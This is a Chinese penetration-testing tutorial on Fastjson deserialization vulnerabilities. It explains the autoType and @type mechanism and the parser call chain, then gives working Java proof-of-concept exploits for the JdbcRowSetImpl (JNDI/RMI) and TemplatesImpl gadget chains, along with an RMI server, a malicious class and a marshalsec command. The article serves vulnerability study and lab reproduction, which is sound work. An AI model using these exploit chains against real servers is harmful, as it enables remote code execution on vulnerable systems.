渗透测试 | FastJson漏洞原理与复现

简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库, 用于将数据在 JSON 和 Java Object 之间互相转换, 提供两个主要接口 JSON.toJSONString 和 JSON.parseObject / JSON. parse 来分别实现序列化和反序列化操作.

版本

Fastjson < 1.2.68

相关类

  • JSON:门面类,提供入口
  • DefaultJSONParser:主类
  • ParserConfig:配置相关类
  • JSONexerBase:字符分析类
  • JavaBeanDeserializer:JavaBean反序列化类

常用属性

SerializerFeature.WriteClassName

JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法

Feature.SupportNonPublicField

如果需要还原出private属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数

json与类转化

类->JSON

常用方法:JSON.toJSONString(),常用参数如下

  • 序列化特性: com.alibaba.fastjson.serializer.SerializerFeature , 可以通过设置多 个特性到 FastjsonConfig 中全局使用, 也可以在使用具体方法中指定特性.
  • 序列化过滤器: com.alibaba.fastjson.serializer.SerializeFilter , 这是一个接口, 通 过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化.
  • 序列化时的配置: com.alibaba.fastjson.serializer.SerializeConfig , 可以添加特点 类型自定义的序列化配置.

JSON->类

常用方法:parse、parseObject、parseArray,常用参数如下

  • 反序列化特性: com.alibaba.fastjson.parser.Feature.
  • 类的类型: java.lang.reflect.Type , 用来执行反序列化类的类型.
  • 处理泛型反序列化: com.alibaba.fastjson.TypeReference .
  • 编程扩展定制反序列化: com.alibaba.fastjson.parser.deserializer.ParseProcess , 例如 ExtraProcessor 用于处理多余的字段, ExtraTypeProvider 用于处理多余字段时提 供类型信息.

parseparseObject区别:使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class) , 两者 调用链一致, 前者会在 jsonString 中解析字符串获取 @type 指定的类, 后者则会直接使用Target.class参数中的 class .

序列化与反序列化

序列化

图片[1]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

在上面的代码中存在一个关键词 SerializerFeature.WriteClassName , 其是 toJSON String 设置的一个属性值, 设置之后在序列化的时候会多写入一个 @type , 即写上被序列化 的类名, type 可以指定反序列化的类, 并且调用其 getter / setter / is 方法.

反序列化

图片[2]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

第一二种没有在引入了 @type 后, 成功反序列化, 可以看到 parse 成功 触发了 set 方法, parseObject 同时触发了 set 和 get 方法, 因为 fastjson 存在 autoTyp e 机制, 当用户指定 @type 时, 存在调用恶意 setter / getter 的情况, 这就是 fastjson反 序列化漏洞.

fastjson 反序列化漏洞基本原理

调用链分析

先跟进parse方法

图片[3]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

这里会创建一个 DefaultJSONParser 对象,在这个过程中会有一个判断操作, 来判断解析的字符串是 { 还是 [ , 并根据判断的结果设置 tok en 值, 创建完成 DefaultJSONParser 对象后进入 DefaultJSONParser#parse 方法.

图片[4]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室
图片[5]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

再步入DefaultJSONParser#parse

图片[6]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室
图片[7]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

跟进 parseObject 方法, 这里会通过 scanSymbol 获取到 @type 指定类, 然后通过 TypeUtil s.loadClass 方法加载 Class .

图片[8]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室
图片[9]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

跟进 TypeUtils.loadClass 方法, 这里首先会从 mappings 里面寻找类, mappings 中存放着 一些 Java 内置类, 由于前面一些条件不满足, 所以最后用 ClassLoader 加载类, 在这里也就 是加载 Exploit 类.

返回 clazz 值后回到上一级, 创建 ObjectDeserializer 对象, 并调用 getDeserializer方法.

图片[10]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

跟进 ParserConfig#getDeserializer 方法, 继续调用 getDeserializer 方法, 这里使用了黑 名单限制可以反序列化的类, 但是黑名单里面只有 java.lang.Thread .

图片[11]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室
图片[12]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

接着回到前面的 deserialze 方法, 往下调试到达 ASM 机制生成的临时代码, 最后调用 set 和 get 里面的方法.

下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

非静态函数
返回类型为void或当前类
参数个数为1个

满足条件的getter:

非静态方法
无参数
返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

Fastjson 1.2.24

这个版本的两条利用链

JdbcRowSetImpl

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl , 这条漏洞利用链的核心点是 jav ax.naming.InitialContext#lookup 参数可控导致的 JNDI 注入

poc

package com.poc;

import com.alibaba.fastjson.JSON;

public class fastjsonpoc2 {
public static void main(String[] args) throws Exception {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}

rmi

package com.poc;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("vita_rain", "EvilObject", "http://127.0.0.1:8000/");
System.out.println(refObj);
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}

evil

package com.Evil;

import java.io.IOException;

public class EvilObject {
static {
try{
Runtime.getRuntime().exec("clac");
}catch (IOException e){
e.printStackTrace();
}
}
}

或者用marshalsec起rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#EvilOb" 1099

1677637415_63feb727487282b3c58a5.png!small?1677637415888LDAP的方法和只是把协议和服务改为LDAP即可

Templateslmpl

位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。

TemplatesImpl中存在一个名为_outputPropertiesget的私有变量,其getter方法中存在利用点,这个getter方法恰好满足了调用条件,在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用。因此产生了漏洞。

利用链

getOutputProperties() ->
newTransformer() ->
getTransletInstance() ->
defineTransletClasses() / EvilClass.newInstance()

其中getOutputProperties()为_outputPropertiesget成员变量的getter方法。

图片[13]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

getTransletInstance()中先调用defineTransletClasses,该方法的逻辑:

首先要求bytecodes不为空(bytecodes变量是TemplatesImpl类的成员变量,在构造poc时属于可控变量),然后就会调用自定义的Clssloader.defineClass去将_bytecodes中的值由字节码转化为Class对象赋值给_Class[i]。如果这个类的父类为 ABSTRACT_TRANSLET,_transletIndex变量值则会是此时_bytecodes数组中的下标值

图片[14]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

由上可以得知:_bytecodes 是我们构造的恶意类 的类字节码, 这个类的父类是 AbstractTranslet , 最终这个类会被加载并使用 newInsta nce 实例化.

图片[15]-渗透测试 | FastJson漏洞原理与复现-NGC660 安全实验室

ps.成员变量_name和_tfactory不能为空,否者程序会提前return.

poc

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.util.Base64;

public class fastjsonpoc1 {
public static String generateEvil() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);
clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

clas.writeFile("./");

byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;
}
public static void main(String[] args) throws Exception {
final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String evil = fastjsonpoc1.generateEvil();
String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);
}
}

ClassPool.getDefault()获取默认类池,然后创建Evil类,接着设置Evil要继承的类

ClassPool pool = ClassPool.getDefault();
CtClass clas = pool.makeClass("Evil");
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

创建空的类初始化器,向构造函数里加入cmd

String cmd = "Runtime.getRuntime().exec(\"calc\");";
clas.makeClassInitializer().insertBefore(cmd);

设置加载AbstractTranslet类的搜索路径

clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName())

将编译的类创建为.class文件

test.writeFile("./");

转换为字节码并进行base64加密

byte[] bytes = clas.toBytecode();
String EvilCode = Base64.getEncoder().encodeToString(bytes);
System.out.println(EvilCode);
return EvilCode;

最后构造序列化数据,进行触发

String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'vi_ta','_tfactory':{},\"_outputProperties\":{ }," + "\"allowedProtocols\":\"all\"}\n";
JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);

.由于部分需要更改的私有变量没有 setter 方法, 需要使用 Feature.Supp ortNonPublicField 参数来触发.

本文作者:vitarain

转载自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞9赏点小钱 分享